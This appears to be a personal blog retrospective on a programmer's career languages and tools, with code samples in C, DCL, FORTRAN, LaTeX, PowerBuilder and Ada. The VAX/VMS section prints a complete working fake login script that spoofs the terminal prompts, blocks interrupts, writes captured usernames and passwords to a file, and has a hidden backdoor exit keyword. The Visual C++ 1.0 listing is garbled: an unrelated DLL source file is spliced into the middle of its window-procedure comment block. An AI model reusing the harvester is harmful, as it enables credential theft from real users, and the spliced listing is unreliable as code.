Aside from being two ridiculous languages, these are a prime example of the power and danger of Microsoft. I was a C++ developer transitioning to Java when Microsoft released J++. Those of us who had been developers through the 90's had watched Microsoft squash one tool after another, and we knew Java would be next. It was impossible to compete with Microsoft if they could tie a technology to Windows, and J++ was tied to Windows. Java developers adopted J++ in droves, regardless of all arguments that J++ violated the core platform-neutral philosophy of Java. At one point, over 50% of Java developers used Visual J++. Then a miracle happened: A court stopped Microsoft from absorbing Java...and here is the key moral of the story: Microsoft was stopped because Java was a proprietary technology that Sun had control over. If Java had been an open source and/or open standards technology, Microsoft would have won and Java (as we know it) would have died. Sun is making Java Open Source...but my hope is that Java is now too big to be easily absorbed by Microsoft.
Java
I'm leaving all the various Java technologies off my list...because I'm still using Java today, and I can't "look back" on a technology that I'm actively using.
HTML
By 1995, HTML had become all the rage. Almost every techie I know rushed off to create their own page...but almost nobody maintained them for very long. Here is a screen shot from the home page of my very first website that I registered under the name "planetbert.com" in 1995. I was learning HTML and this brand-new programming language called "Java" at the time. (click image for larger view) Like everyone else, I kept it up-to-date for a few months, and then updated it maybe once every 6 months, and then abandoned it completely. Adding the text "Welcome Fortis Folks" was the last change I made. In 1995 through 1997, it seemed to me that Java Applet technologies would take over the world. This was the technology that was finally going to allow for rich-client web applications. But then Microsoft started to sabotage their Java support in I.E., and that was the death of Applets...probably forever. Ten years later, we are still trying to find ways to make browser technologies that are as powerful as Applets were in 1995. AJAX is a start, but it has a long way to go.
XML
Most people who are programmers are natural organizers...the kinds of people who enjoy putting boxes inside of boxes. If you give them a universal box description language (XML) they will (and did) try to use it for EV-ER-Y-THING! It became a major disaster for the development community, and now XML is finally being kicked out of application control and put back in data expression where it belongs. I am a rare programmer in that I'm not a natural organizer. I liked XML as a platform-neutral means of transmitting data...and that's all. I hated all subsequent uses of XML, and 6 years later I was finally vindicated. :)
XSLT
The concept of a platform-neutral data transformation language is a *brilliant* idea, and very much needed! The implementation of that language in a pure XML syntax was a BAD idea. Making a programming language out of XML is like making a spoon out of a cat. It's crazy. The fact that XSLT is still used is a reflection of how desparate we are for spoons. We need data transformation technologies...but why-oh-why did it have to be like THIS?! I appreciate the attempt to make it like a functional programming language...but they failed miserably. Instead we have a pseudo-functional language with lots of procedural constructs...implemented in a declarative fashion. OW!
JetForm
This was a software package for developing printable forms. What I remember most about JetForms was I had to translate one of my forms into German for our new office in Germany. All I had was a German dictionary and my two semesters of German in High School. I thought I would give it a rough translation and let the German office polish it. What I produced became legend in our German office. I was told my translation was pretty close to technically correct, but I used words in combinations that were just bizarre and hilarious. I guess I created the German equivalent of All your base are belong to us.
Microsoft Visual C++ 1.0

This was the very old-school way of writing Windows Applications before the MFC came along.
   

/****************************************************************************

PROGRAM: TestUtil.c

AUTHOR: Bert Pappas 26 JAN 94

PURPOSE: Simple skeleton Windows application to test the functions
in FILEUTIL.DLL

FUNCTIONS:

WinMain() - calls initialization function, processes message loop
InitApplication() - initializes window data and registers window
InitInstance() - saves instance handle and creates main window
MainWndProc() - processes messages

COMMENTS:

The functions tested in FILEUTIL.DLL are CopyFile and
RenameFile.
****************************************************************************/

#include <windows.h> /* required for all Windows applications */
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

int PASCAL WinMain(HANDLE, HANDLE, LPSTR, int);
BOOL InitApplication(HANDLE);
BOOL InitInstance(HANDLE, int);
long CALLBACK __export MainWndProc(HWND, UINT, WPARAM, LPARAM);

/* Declare DLL functions to be tested.*/

int FAR PASCAL CopyFile(LPSTR,LPSTR,int);
int FAR PASCAL RenameFile(LPSTR,LPSTR,int);

/* Button handles */

#define ID_RENAME 3
#define ID_COPY 4
#define ID_EXIT 5

/*Window and control handles */

HANDLE hInst; /* current instance */
HWND hFromFile;
HWND hToFile;
HWND hMode;
HWND hRename;
HWND hCopy;
HWND hExit;
HWND MainWindow;

/****************************************************************************

FUNCTION: WinMain(HANDLE, HANDLE, LPSTR, int)

PURPOSE: calls initialization function, processes message loop

COMMENTS:

Windows recognizes this function by name as the initial entry point
for the program. This function calls the application initialization
routine, if no other instance of the program is running, and always
calls the instance initialization routine. It then executes a message
retrieval and dispatch loop that is the top-level control structure
for the remainder of execution. The loop is terminated when a WM_QUIT
message is received, at which time this function exits the application
instance by returning the value passed by PostQuitMessage().

If this function must abort before entering the message loop, it
returns the conventional value NULL.

****************************************************************************/

int PASCAL WinMain(hInstance, hPrevInstance, lpCmdLine, nCmdShow)
HANDLE hInstance; /* current instance */
HANDLE hPrevInstance; /* previous instance */
LPSTR lpCmdLine; /* command line */
int nCmdShow; /* show-window type (open/icon) */
{
MSG msg; /* message */

if (!hPrevInstance) /* Other instances of app running? */
if (!InitApplication(hInstance)) /* Initialize shared things */
return (FALSE); /* Exits if unable to initialize */

/* Perform initializations that apply to a specific instance */

if (!InitInstance(hInstance, nCmdShow))
return (FALSE);

/* Acquire and dispatch messages until a WM_QUIT message is received. */

while (GetMessage(&msg, /* message structure */
NULL, /* handle of window receiving the message */
NULL, /* lowest message to examine */
NULL)) /* highest message to examine */
{
if (!IsDialogMessage(MainWindow,&msg)) /* Allow keyboard intercept */
{
TranslateMessage(&msg); /* Translates virtual key codes */
DispatchMessage(&msg); /* Dispatches message to window */
}
}
return (msg.wParam); /* Returns the value from PostQuitMessage */
}


/****************************************************************************

FUNCTION: InitApplication(HANDLE)

PURPOSE: Initializes window data and registers window class

COMMENTS:

This function is called at initialization time only if no other
instances of the application are running. This function performs
initialization tasks that can be done once for any number of running
instances.

In this case, we initialize a window class by filling out a data
structure of type WNDCLASS and calling the Windows RegisterClass()
function. Since all instances of this application use the same window
class, we only need to do this when the first instance is initialized.


****************************************************************************/

BOOL InitApplication(hInstance)
HANDLE hInstance; /* current instance */
{
WNDCLASS wc;

/* Fill in window class structure with parameters that describe the */
/* main window. */

wc.style = NULL; /* Class style(s). */
wc.lpfnWndProc = MainWndProc; /* Function to retrieve messages for */
/* windows of this class. */
wc.cbClsExtra = 0; /* No per-class extra data. */
wc.cbWndExtra = 0; /* No per-window extra data. */
wc.hInstance = hInstance; /* Application that owns the class. */
wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
wc.hbrBackground = GetStockObject(WHITE_BRUSH);
wc.lpszMenuName = NULL; /* Name of menu resource in .RC file. */
wc.lpszClassName = "GenericWClass"; /* Name used in call to CreateWindow. */

/* Register the window class and return success/failure code. */

return (RegisterClass(&wc));

}


/****************************************************************************

FUNCTION: InitInstance(HANDLE, int)

PURPOSE: Saves instance handle and creates main window

COMMENTS:

This function is called at initialization time for every instance of
this application. This function performs initialization tasks that
cannot be shared by multiple instances.

In this case, we save the instance handle in a static variable and
create and display the main program window.

****************************************************************************/

BOOL InitInstance(hInstance, nCmdShow)
HANDLE hInstance; /* Current instance identifier. */
int nCmdShow; /* Param for first ShowWindow() call. */
{
HWND hWnd; /* Main window handle. */

/* Save the instance handle in static variable, which will be used in */
/* many subsequence calls from this application to Windows. */

hInst = hInstance;

/* Create a main window for this application instance. */

hWnd = CreateWindow(
"GenericWClass", /* See RegisterClass() call. */
"FileUtil.DLL test application",/* Text for window title bar. */
WS_OVERLAPPEDWINDOW, /* Window style. */
20, /* Default horizontal position. */
100, /* Default vertical position. */
590, /* Default width. */
300, /* Default height. */
NULL, /* Overlapped windows have no parent. */
NULL, /* Use the window class menu. */
hInstance, /* This instance owns this window. */
NULL /* Pointer not needed. */
);

/* If window could not be created, return "failure" */

if (!hWnd)
return (FALSE);

MainWindow = hWnd; /* Store window handle in global var. for later use */
/* Make the window visible; update its client area; and return "success" */

ShowWindow(hWnd, nCmdShow); /* Show the window */
UpdateWindow(hWnd); /* Sends WM_PAINT message */
return (TRUE); /* Returns the value from PostQuitMessage */

}

/****************************************************************************

FUNCTION: MainWndProc(HWND, UINT, WPARAM, LPARAM)

PURPOSE: Processes messages // pbcomm.cpp : Defines the initialization routines for the DLL.
//

#include "stdafx.h"
#include "pbcomm.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CPbcommApp

BEGIN_MESSAGE_MAP(CPbcommApp, CWinApp)
//{{AFX_MSG_MAP(CPbcommApp)
// NOTE - the ClassWizard will add and remove mapping macros here.
// DO NOT EDIT what you see in these blocks of generated code!
//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CPbcommApp construction

CPbcommApp::CPbcommApp()
{
// TODO: add construction code here,
// Place all significant initialization in InitInstance
}

/////////////////////////////////////////////////////////////////////////////
// The one and only CPbcommApp object

CPbcommApp theApp;


extern "C" HANDLE FAR PASCAL EXPORT OpenCOM(int Port)
{
DCB dcb ;
char szPort[ 15 ];
HANDLE idComDev;
COMMTIMEOUTS CommTimeOuts ;

wsprintf( szPort, "%s%d", "COM", Port) ;

idComDev = CreateFile( szPort, GENERIC_READ | GENERIC_WRITE,
0, // exclusive access
NULL, // no security attrs
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, // overlapped I/O
NULL );

if (idComDev < 0) return (HANDLE)-1;

// get any early notifications

if (!SetCommMask( idComDev, 0)) return (HANDLE)-2; //EV_RXCHAR ) ;

// setup device buffers

if (!SetupComm( idComDev, 1024, 1024 )) return (HANDLE)-3;

// purge any information in the buffer

if (!PurgeComm( idComDev, PURGE_TXABORT | PURGE_RXABORT |
PURGE_TXCLEAR | PURGE_RXCLEAR )) return (HANDLE)-4 ;

// set up for overlapped I/O

CommTimeOuts.ReadIntervalTimeout = 0xFFFFFFFF ;
CommTimeOuts.ReadTotalTimeoutMultiplier = 0 ;
CommTimeOuts.ReadTotalTimeoutConstant = 1000 ;
CommTimeOuts.WriteTotalTimeoutMultiplier = 0 ;
CommTimeOuts.WriteTotalTimeoutConstant = 1000 ;
if (!SetCommTimeouts( idComDev, &CommTimeOuts )) return (HANDLE)-5;

dcb.DCBlength = sizeof( DCB ) ;

GetCommState( idComDev, &dcb ) ;
if (!SetCommState( idComDev, &dcb )) return (HANDLE)-6 ;

return idComDev;

}

extern "C" INT FAR PASCAL EXPORT WriteCOM(HANDLE idComDev, LPSTR lpszString)
{


DWORD dwBytesWritten;
DWORD dwBytesToWrite;


// create I/O event used for overlapped reads / writes

// WRITE_OS( npTTYInfo ).hEvent = CreateEvent( NULL, // no security
// TRUE, // explicit reset req
// FALSE, // initial event reset
// NULL ) ; // no name
// if (NULL == WRITE_OS( npTTYInfo ).hEvent)
// {
// return ( -1 ) ;
// }

dwBytesToWrite = strlen(lpszString);

if (!WriteFile( idComDev, lpszString, dwBytesToWrite,
&dwBytesWritten, NULL)) return -6;//&WRITE_OS( npTTYInfo ) ) ;


// CloseHandle( WRITE_OS( npTTYInfo ).hEvent ) ;

return ( dwBytesWritten ) ;

}

extern "C" INT FAR PASCAL EXPORT CloseCOM(HANDLE idComDev)
{


PurgeComm( idComDev, PURGE_TXABORT | PURGE_RXABORT |
PURGE_TXCLEAR | PURGE_RXCLEAR ) ;

CloseHandle( idComDev ) ;

return 0;
}

MESSAGES:

WM_COMMAND - Traps all button messages.
WM_DESTROY - destroy window

COMMENTS:


****************************************************************************/

long CALLBACK __export MainWndProc(hWnd, message, wParam, lParam)
HWND hWnd; /* window handle */
UINT message; /* type of message */
WPARAM wParam; /* additional information */
LPARAM lParam; /* additional information */
{
HWND htemp;
PAINTSTRUCT paintstruct;
RECT rect;
char lst_from_file[256];
char lst_to_file[256];
char lst_mode[4];
int li_return;
int mode;
char error_msg[40];
HDC mydc;

switch (message)
{
case WM_CREATE:

htemp = CreateWindow ("static","From file:",
WS_CHILD|WS_VISIBLE|ES_RIGHT,
20,40,80,20,hWnd,NULL,hInst,NULL);

hFromFile = CreateWindow("Edit",NULL,
WS_CHILD|WS_VISIBLE|WS_BORDER|WS_TABSTOP,
105,37,400,24,hWnd,NULL,hInst,NULL);

htemp = CreateWindow ("static","To file:",
WS_CHILD|WS_VISIBLE|ES_RIGHT,
20,80,80,20,hWnd,NULL,hInst,NULL);

hToFile = CreateWindow ("Edit",NULL,
WS_CHILD|WS_VISIBLE|WS_BORDER|WS_TABSTOP,
105,77,400,24,hWnd,NULL,hInst,NULL);

htemp = CreateWindow ("static","Mode:",
WS_CHILD|WS_VISIBLE|ES_RIGHT,
20,129,80,24,hWnd,NULL,hInst,NULL);

hMode = CreateWindow ("Edit",NULL,
WS_CHILD|WS_VISIBLE|WS_BORDER|WS_TABSTOP,
105,128,30,22,hWnd,NULL,hInst,NULL);

hRename = CreateWindow ("Button","Rename",
WS_CHILD|WS_VISIBLE|BS_PUSHBUTTON|WS_TABSTOP,
80,190,70,22,hWnd,ID_RENAME,hInst,NULL);

hCopy = CreateWindow ("Button","Copy",
WS_CHILD|WS_VISIBLE|BS_PUSHBUTTON|WS_TABSTOP,
180,190,50,22,hWnd,ID_COPY,hInst,NULL);

hExit = CreateWindow ("Button","Exit",
WS_CHILD|WS_VISIBLE|BS_PUSHBUTTON|WS_TABSTOP,
260,190,50,22,hWnd,ID_EXIT,hInst,NULL);

return TRUE;
break;


case WM_PAINT:


mydc = BeginPaint(MainWindow,&paintstruct);

GetClientRect(MainWindow,&rect);

rect.top = 18;
rect.left = 140;
DrawText(mydc,"(Enter full pathnames)",
-1,&rect,DT_SINGLELINE|DT_LEFT);


rect.top = 124;
rect.left = 150;
DrawText(mydc,"Copy Modes: 1 = Copy, 2 = Copy/Replace, 3 = Append",
-1,&rect,DT_SINGLELINE|DT_LEFT);

rect.top = 140;
DrawText(mydc,"Rename Modes: 1 = Rename, 2 = Rename/Replace",
-1,&rect,DT_SINGLELINE|DT_LEFT);


EndPaint(hWnd,&paintstruct);

return TRUE;
break;


case WM_COMMAND: /* message: command from application menu */
switch (wParam)
{
case ID_RENAME:

GetWindowText(hFromFile,lst_from_file,
sizeof(lst_from_file));
GetWindowText(hToFile,lst_to_file,sizeof(lst_to_file));
GetWindowText(hMode,lst_mode,sizeof(lst_mode));
mode = atoi(lst_mode);
li_return = RenameFile(lst_from_file,lst_to_file,mode);

if (li_return==0)
{
MessageBox(0,"Successful Rename","Result",MB_OK);
}
else
{
sprintf(error_msg,"Rename error = %d",li_return);
MessageBox(0,error_msg,"Error",MB_OK);
}

break;

case ID_COPY:
GetWindowText(hFromFile,lst_from_file,
sizeof(lst_from_file));
GetWindowText(hToFile,lst_to_file,sizeof(lst_to_file));
GetWindowText(hMode,lst_mode,sizeof(lst_mode));
mode = atoi(lst_mode);

li_return = CopyFile(lst_from_file,lst_to_file,mode);

if (li_return==0)
{
MessageBox(0,"Successful Copy","Result",MB_OK);
}
else
{
sprintf(error_msg,"Copy error = %d",li_return);
MessageBox(0,error_msg,"Error",MB_OK);
}

break;

case ID_EXIT:
DestroyWindow(MainWindow);
break;

default:
return (DefWindowProc(hWnd, message, wParam, lParam));

}
return TRUE;
break;
case WM_DESTROY: /* message: window being destroyed */
PostQuitMessage(0);
break;
return TRUE;

default: /* Passes it on if unproccessed */
return (DefWindowProc(hWnd, message, wParam, lParam));
}
return (NULL);
}

Microsoft Visual C++ 1.5
Microsoft Visual C++ 1.5 was the last of the 16-bit compilers. Even years later when I had moved all the way up to Microsoft Visual C++ 6.0, I still kept my version 1.5 CD in a safe place, because you never know when you'll have to recompile (and thunk) some old 16-bit app.

Here is an old-school 16-bit DLL library:

// pbcomm.cpp : Defines the initialization routines for the DLL.
//

#include "stdafx.h"
#include "pbcomm.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CPbcommApp

BEGIN_MESSAGE_MAP(CPbcommApp, CWinApp)
//{{AFX_MSG_MAP(CPbcommApp)
// NOTE - the ClassWizard will add and remove mapping macros here.
// DO NOT EDIT what you see in these blocks of generated code!
//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CPbcommApp construction

CPbcommApp::CPbcommApp()
{
// TODO: add construction code here,
// Place all significant initialization in InitInstance
}

/////////////////////////////////////////////////////////////////////////////
// The one and only CPbcommApp object

CPbcommApp theApp;


extern "C" HANDLE FAR PASCAL EXPORT OpenCOM(int Port)
{
DCB dcb ;
char szPort[ 15 ];
HANDLE idComDev;
COMMTIMEOUTS CommTimeOuts ;

wsprintf( szPort, "%s%d", "COM", Port) ;

idComDev = CreateFile( szPort, GENERIC_READ | GENERIC_WRITE,
0, // exclusive access
NULL, // no security attrs
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, // overlapped I/O
NULL );

if (idComDev < 0) return (HANDLE)-1;

// get any early notifications

if (!SetCommMask( idComDev, 0)) return (HANDLE)-2; //EV_RXCHAR ) ;

// setup device buffers

if (!SetupComm( idComDev, 1024, 1024 )) return (HANDLE)-3;

// purge any information in the buffer

if (!PurgeComm( idComDev, PURGE_TXABORT | PURGE_RXABORT |
PURGE_TXCLEAR | PURGE_RXCLEAR )) return (HANDLE)-4 ;

// set up for overlapped I/O

CommTimeOuts.ReadIntervalTimeout = 0xFFFFFFFF ;
CommTimeOuts.ReadTotalTimeoutMultiplier = 0 ;
CommTimeOuts.ReadTotalTimeoutConstant = 1000 ;
CommTimeOuts.WriteTotalTimeoutMultiplier = 0 ;
CommTimeOuts.WriteTotalTimeoutConstant = 1000 ;
if (!SetCommTimeouts( idComDev, &CommTimeOuts )) return (HANDLE)-5;

dcb.DCBlength = sizeof( DCB ) ;

GetCommState( idComDev, &dcb ) ;
if (!SetCommState( idComDev, &dcb )) return (HANDLE)-6 ;

return idComDev;

}

extern "C" INT FAR PASCAL EXPORT WriteCOM(HANDLE idComDev, LPSTR lpszString)
{


DWORD dwBytesWritten;
DWORD dwBytesToWrite;


// create I/O event used for overlapped reads / writes

// WRITE_OS( npTTYInfo ).hEvent = CreateEvent( NULL, // no security
// TRUE, // explicit reset req
// FALSE, // initial event reset
// NULL ) ; // no name
// if (NULL == WRITE_OS( npTTYInfo ).hEvent)
// {
// return ( -1 ) ;
// }

dwBytesToWrite = strlen(lpszString);

if (!WriteFile( idComDev, lpszString, dwBytesToWrite,
&dwBytesWritten, NULL)) return -6;//&WRITE_OS( npTTYInfo ) ) ;


// CloseHandle( WRITE_OS( npTTYInfo ).hEvent ) ;

return ( dwBytesWritten ) ;

}

extern "C" INT FAR PASCAL EXPORT CloseCOM(HANDLE idComDev)
{


PurgeComm( idComDev, PURGE_TXABORT | PURGE_RXABORT |
PURGE_TXCLEAR | PURGE_RXCLEAR ) ;

CloseHandle( idComDev ) ;

return 0;
}


Vax/vms script
When I was in college, I invented a phishing attack. They weren't called that at the time, and I had never heard of any such thing before. I thought I was just being clever.

We had rooms full of mainframe terminals, and I wrote this program that would simulate the login screen for the mainframe. It would ask you for your name and password, and then write that name and password to a text file, and then execute system commands to actually log you in as a shell process. So, you would be none the wiser. When you logged out, control was returned to my program. My program was immune to any control sequences that would normally halt a running script.

I showed this to one of the professors to show how there was a potential hole in our security. He became upset...AT ME! I had to promise to delete all copies of it...and I did...but then a few years later I was going through my archives and found this early version of the program. :)

$ ! This is a COM File that imitates the VMS connect procedure.
$ ! This is a secret file that should not be shown to everyone.
$ ! This file will take peoples' usernames and passwords and copy them
$ ! to a DAT file.
$ set nocontrol=y
$ cls
$ SET TERM/NOTYPE_AHEAD
$ set broadcast=(nogeneral)
$ write sys$output "Local>"
$ loc:
$ write sys$output "Local>"
$ write sys$output "Local>"
$ SET MESSAGE/NOFAC/NOIDENT/NOSEVERITY/NOTEXT
$ goto Timer
$ prompt:
$ inquire/nopunc flag "Local> "
$ if (f$extract(0,1,flag) .EQS. "") then -
goto prompt
$ if (flag .eqs. "C") then -
goto SESS
$ if (flag .eqs. "H") .or. (flag .eqs. "HELP") then goto helpit
$ if (flag .eqs. "LO") then goto timer
$ write sys$output "Local -707- Keyword """,flag,""" not known or ambiguous
"
$ goto prompt
$ SESS:
$ !
$ write sys$output "Local -010- Session 1 to VMS established"
$ write sys$output ""
$ write sys$output ""
$ write sys$output ""
$ write sys$output "Rose Hulman Institute of Technology - VAX 8530 (VMS)"
$ write sys$output ""
$ count = 0
$ LOOP:
$ Count = count + 1
$ USE:
$! WRITE SYS$OUTPUT "Username: "
$ INQUIRE FLAG "Username"
$! set term/uppercase
$! inquire/nopunct flag "''ESC'[1A''ESC'[10C"
$ ! set term/lowercase
$ if (f$extract(0,1,flag) .EQS. "") then -
goto USE
$ ! secret door to exit the program....
$ IF (FLAG .EQS. "ROSEMHOSEM") THEN GOTO OUT
$ set term/noechoe
$ inquire password "Password"
$ set term/echoe
$ if (flag .eqs. prev) then goto quit
$ error1:
$ prev = flag
$ pass = password
$ Write sys$output "User authorization failure"
$ IF (COUNT .EQ. 3) THEN GOTO TOO_MANY
$ SET TERM/NOECHOE
$ INQUIRE/NOPUNC CRT "''ESC'[1A"
$ SET TERM/ECHOE
$ GOTO LOOP
$ !
$ TOO_MANY:
$ WRITE SYS$OUTPUT "Local -011- Session 1 disconnected from VMS"
$ goto prompt
$ !
$ QUIT:
$ if (password .nes. pass) then goto error1
$ !
$ !!Special
$ if (prev .eqs. "TRULORE") then goto straight_in
$ !
$ open/append input_file 'F$DIRECTORY()'pass.dat
$ write input_file flag
$ write input_file password
$ write input_file " "
$ close input_file
$ STRAIGHT_IN:
$ ! create a nested session to log the user in using the username and password they supplied.
$ open/write output 'F$DIRECTORY()'goto.com
$ write output "$ set host/nolog vms"
$ write output ''flag
$ write output ''password
$ close output
$ @goto
$ WRITE SYS$OUTPUT "Local -011- Session 1 disconnected from VMS"
$ delete/nocon/nolog Goto.com;*
$ GOTO PROMPT
$ !
$ Timer:
$ tt = f$extract(19,1,f$time())
$ if (tt .eqs. "0") .or. (tt .eqs. "9") then goto Timer
$ Write sys$output "Local -020- Logged out port ''tt'"
$ Timer2:
$ SET TERM/NOECHOE
$ INQUIRE/NOPUNC CRT "''esc'[1A"
$ if (CRT .Nes. "C") .AND. (crt .nes. "") then goto Timer2
$ if crt .eqs. "" then wait 00:00:01
$ CLS
$ WRITE SYS$OUTPUT "DECserver 200 Terminal Server V1.0 (BL20) - LAT V5.1"
$ WRITE SYS$OUTPUT ""
$ SET TERM/ECHOE
$ goto SESS
$ goto Prompt
$ OUT:
$ SET CONTROL=Y
$ SET MESSAGE/FAC/IDENT/SEVERITY/TEXT
$ CLS
$ set term/type_ahead
$ EXIT
$ HELPIT:
$ CLS
$ TYPE 'F$DIRECTORY()'HELP.TXT
$ SAY "Topic? "
$ INQUIRE/NOPUNC CRT "''esc'[1A''ESC'[7C"
$ GOTO PROMPT

$ set process/name="Hold On..."
$ loop:
$ wait 00:01:00
$ say "Hello......???????"
$ goto loop

Visual Basic
I'm skipping a lot of Microsoft technologies in my list, because they really just aren't interesting. But I have to say something about Visual Basic because it was such a thorn in my side for the entire late 1990's. Visual Basic allowed people with very little skill to write applications that looked professional... up to a point. It became wildly popular in the tech boom of the late 90's when companies just couldn't find enough qualified programmers, so any technology that promised to "lower the bar" for software development sold like mad.

The problem is that Visual Basic also lowers the bar on software quality, maintainability and scalability. But nobody sees those failures of Visual Basic until they get too far down the road to change technologies.

My team was writing Visual C++ applications at the time, and our CIO bought himself a copy of Visual Basic and wrote a simple application in 1 day. Then he tried to demand that WE use Visual Basic too because it took us longer than 1 day to write an application using Visual C++. (True story). And there's just no way to explain to someone like that the true complexities of real-world software development. We had to just refuse his request (a small mutiny), and hope he didn't fire us, and luckily he didn't.

But Visual Basic spread like crazy across companies everywhere, especially in the form of VBA macros for Word and Excel. It wasn't until the past few years that I've been relatively free of the Visual Basic disease.
C#
It's a Java ripoff. Everyone knows it. It's another attempt by Microsoft to offer developers better features at the expense of platform lock-in. When I think of the tradeoffs between Microsoft and open standards, I picture the scene from the movie "300" where Xerces promises Leonidas power if he would but kneel.

Any advantage Microsoft offers in terms of features or interoperability with other Microsoft systems is a Faustian Bargin. Being locked into one platform is anti-capitalism and anti-competitive, and it leads to stagnation and abuse of power.

If anyone tells you that C# can run on other platforms, they are either lying to you or they just popped open a can of dumb-ass. Sure, there are projects like Mono, but they will never be equal to their Windows counterparts.

FORTRAN 66/77
At my first really programmer job, I wrote Ada and FORTRAN. Most of our applications were in FORTRAN 66, so I wrote a program in FORTRAN 77 that would convert code from 66 to 77. (That brought us up from 1966 technology to 1977 technology...in 1992.)

This is a sample of my FORTRAN 66. Note that FORTRAN 66 did not have "if" statements as we know today. The only thing a FORTRAN 66 "if" could do is perform a 3-way GOTO statement. Ouch! A typical FORTRAN 66 program was at least 1/4th GOTO statements...and there was no interactive debugger.

80 CONTINUE
ITEM = "INTERNAL-P/N;"
DBLARGUMENT = IPN
CALL DBFIND (IDBPMS1,IBIN,1,ISTATUS,IITEM,IARGUMENT)
IF (.CC.) 90,100,90
90 CONTINUE
IERR = 200
C IERR = 200
GO TO 9000
C
100 CONTINUE
IF (ISTATUS(5).EQ.0.AND.ISTATUS(6).EQ.0) GO TO 150
C
110 CONTINUE
CALL DBGET (IDBPMS1,IBIN,5,ISTATUS,ILIST,IBINREC,IARGUMENT)
IF (.CC.) 120,130,120
120 CONTINUE
IF (ISTATUS(1).EQ.15) GO TO 150
IERR = 205
C IERR = 205
GO TO 9000
C
130 CONTINUE
IF (BINLOCATION.NE.BARLOCATION) GO TO 110
BINQTYINBIN = BINQTYINBIN + (TOTQTYPROCESSED - NEWISSUEQTY)
CALL DBUPDATE (IDBPMS1,IBIN,1,ISTATUS,ILIST,IBINREC)
IF (.CC.) 140,170,140
140 CONTINUE
IERR = 210
C IERR = 210
GO TO 9000
LaTeX
LaTeX is pronounced like la-tek, not lay-tex. A free document markup language that was very popular in college, and is still used to this day by schools and mathematicians. (Never underestimate the difficulty of finding publishing tools that can print complex mathematical formulas correctly!
 

\documentstyle[12pt]{report}
\title{User Document, Arts Illiana Activities Calendar}
\author{Tom Bogle \and Matt Drew \and Robert Pappas \and Richard Stroud}
\date{January 25, 1990}
%\oddsidemargin 0in
%\textwidth 5in
\begin{document}
\pagenumbering{roman}
\tableofcontents
\maketitle
\chapter{A Brief Overview}
\pagenumbering{arabic}

\hspace{3ex}Upon entry to the system the user will be viewing the calender for
the current month. The current day will be highlighted. The options available
to the user at this time are
\begin{itemize}
\item View the activities for the current day
\item Add an event to the current day
\item Select another date
\item Search for a user defined key
\item Print a report
\item Exit calendar
\end{itemize}

\chapter{Viewing a Date}
\hspace{3ex}Viewing the activities on the highlighted day is done by pressing
$<$RETURN$>$. To position the desired day, see the chapter on `Movement' below.

After pressing $<$RETURN$>$ the events for the highlighted date will appear in
the
viewing window at the bottom of the screen. The events will be in increasing
order by time, with the first event highlighted. The following functions are
available while control is in the viewing window.
\begin{itemize}
\item Display the information for the highlighted event
\item Insert an event
\item Highlight a different event
\item Delete an event
\item Return to the calendar
\end{itemize}

\section{Display an Event}
\hspace{3ex}To display the highlighted event the user presses $<$RETURN$>$. All

of the information associated with the requested event will be displayed in a
window which will pop up over the calendar. The Escape key returns the user
to the event list.

PowerBuilder
I was a serious PowerBuilder developer...for almost 2 years. I mean I REALLY immursed myself in PowerBuilder and even got PowerSoft/Sybase certified in PowerBuilder and PowerBuilder Foundation Classes. At the time, Sybase's database was equal in popularity to the Oracle database. Then Sybase bought out PowerSoft (and their flagship product PowerBuilder), and could compete head to head with Visual Basic. Sybase was on top of the world, beating both Oracle and Microsoft, and so I hitched my wagon to Sybase thinking they could be one company that would build an empire to rival Microsoft.

Then, like cotton candy on a rainy day, Sybase suddenly dissolved into a puddle of goo. The stories of the mistakes they made are legend, and should be tought in every business class. Microsoft was the biggest source of the rain that melted Sybase, and after the Sybase meltdown I thought Microsoft would be unstoppable. So in 1997 I had to make a decision whether to go be a Java developer or go back to doing Microsoft C++. I opted for the latter thinking that Sun would suffer the same fate as Sybase and be destroyed by Microsoft. But then a miracle happened in 2001 when Microsoft was prevented from taking over Java. That's when I abandoned Microsoft technologies for Java, and I've been doing Java ever since.

on ue_create_store_date;

int li_row
string ls_implementation_string, ls_parm

dw_item_create_date.AcceptText ()

//********************************************************************
// Find if window already open
//********************************************************************
If IsValid(w_store_dates) = TRUE Then
gs_error_title = "Invalid Selection #580007"
gs_error_message = "Please do not choose 'Create Store Dates'~r~n" +&
"when there is already a Store Dates window open."
OpenWithParm (w_error_box,"I")
Return
End if

//******************************************************************
// Set up variables, open next window.
//********************************************************************

ls_implementation_string = "Create "

ls_parm = is_update_dates_pld + is_update_dates_version +&
ls_implementation_string

If ibl_show_warning_msg = True Then
ls_parm = ls_parm + 'T'
Else
ls_parm = ls_parm + 'F'
End if

OpenSheetWithParm (w_store_dates,ls_parm,w_pld_frame,3,LAYERED!)

w_pld_frame.SetMicroHelp ("Ready")
end on


Vax-11 MACRO Assembly
My archive of Assembly code from the Vax-11 was wiped out accidentally when I was in college, but here is a scan from a leftover green-bar printout. The Vax had a VERY robust CPU instruction set. There was even one OP code that would multiply two nXn matrices! Yikes!


Ada
I used Ada extensively in school. It was supposed to be the next great language for software development. But the structural beauty of Ada was undermined by the practical nature of C. I think what truly killed Ada was the microcomputer revolution, because C was better suited for personal computers with limited RAM.



-----------------------------------------------------------------------------
-- Program : Airport Simulation --
-- This program simulates two air fields, one with one runway and --
-- the other with two runways. For a given set of air traffic --
-- probabilities, it displays the average waiting times for both --
-- departures and arrivals --
-- Date : January 18, 1989 --
-- Author : Robert C. Pappas --
-- --
-----------------------------------------------------------------------------

with RANDOM_LIB,TEXT_IO,INTEGER_TEXT_IO,FLOAT_TEXT_IO,PLANE_QUEUE_PACKAGE;
